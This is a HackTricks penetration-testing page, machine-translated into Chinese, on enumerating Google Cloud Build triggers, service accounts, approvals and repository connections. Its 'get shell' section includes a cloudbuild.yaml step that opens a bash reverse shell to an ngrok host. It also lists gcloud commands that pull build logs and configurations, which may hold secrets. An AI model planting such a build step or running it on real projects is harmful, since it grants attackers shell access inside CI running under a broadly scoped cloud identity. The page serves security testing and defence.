GCP - Cloud Build Enum

Support HackTricks

Basic Information

Google Cloud Build 是一个托管的 CI/CD 平台,自动化软件构建和发布过程,集成了源代码库并支持多种编程语言。它允许开发人员自动构建、测试和部署代码,同时提供自定义构建步骤和工作流的灵活性。

每个 Cloud Build 触发器与 Cloud Repository 相关或直接连接到外部仓库(Github、Bitbucket 和 Gitlab)。

我无法从这里或 Cloud Repositories 中窃取 Github/Bitbucket 令牌,因为当仓库被下载时,它是通过 https://source.cloud.google.com/ URL 访问的,而 Github 并不是由客户端访问的。

Events

Cloud Build 可以在以下情况下被触发:

  • 推送到分支:指定分支

  • 推送新标签:指定标签

  • 拉取请求:指定接收 PR 的分支

  • 手动调用

  • Pub/Sub 消息:指定主题

  • Webhook 事件:将暴露一个 HTTPS URL,请求必须使用密钥进行身份验证

Execution

有 3 个选项:

  • 一个 yaml/json 指定要执行的命令。通常是:/cloudbuild.yaml

  • 只能在 Web 控制台和 CLI 中“内联”指定的一个

  • 最常见的选项

  • 与未认证访问相关

  • 一个 Dockerfile 进行构建

  • 一个 Buildpack 进行构建

SA Permissions

服务账户具有 cloud-platform 范围,因此可以使用所有权限。如果未指定 SA(例如在提交时),将使用默认 SA <proj-number>@cloudbuild.gserviceaccount.com

默认情况下不授予任何权限,但很容易授予一些:

Approvals

可以配置 Cloud Build 要求构建执行的批准(默认情况下禁用)。

PR Approvals

当触发器是 PR 时,因为任何人都可以对公共仓库进行 PR,仅仅允许执行任何 PR 的触发器将非常危险。因此,默认情况下,执行将仅对所有者和合作者自动进行,为了执行其他用户的 PR,所有者或合作者必须评论 /gcbrun

Connections & Repositories

可以通过以下方式创建连接:

  • GitHub:将显示一个 OAuth 提示,要求获取权限以获取 Github 令牌,该令牌将存储在Secret Manager中。

  • GitHub Enterprise:将要求安装一个GithubApp。将创建并存储来自您的 GitHub Enterprise 主机的身份验证令牌,作为此项目的 Secret Manager 秘密。

  • GitLab / Enterprise:您需要提供 API 访问令牌和读取 API 访问令牌,这些将存储在Secret Manager中。

一旦生成连接,您可以使用它来链接 Github 账户有访问权限的仓库

此选项可以通过按钮访问:

请注意,通过此方法连接的仓库仅在使用第二代的触发器中可用

Connect a Repository

这与**connection不同。这允许不同的方式获取对Github 或 Bitbucket** 仓库的访问,但不生成连接对象,而是生成一个仓库对象(第一代)。

此选项可以通过按钮访问:

Storage

有时 Cloud Build 将生成一个新的存储以存储触发器的文件。例如,在 GCP 提供的示例中:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

一个名为 security-devbox_cloudbuild 的存储桶被创建用来存储一个包含要使用的文件的 .tgz

获取 shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

在云构建中安装 gcloud:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

您可以在构建配置和日志中找到敏感信息

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

权限提升

未经身份验证的访问

利用后的操作

支持 HackTricks

Last updated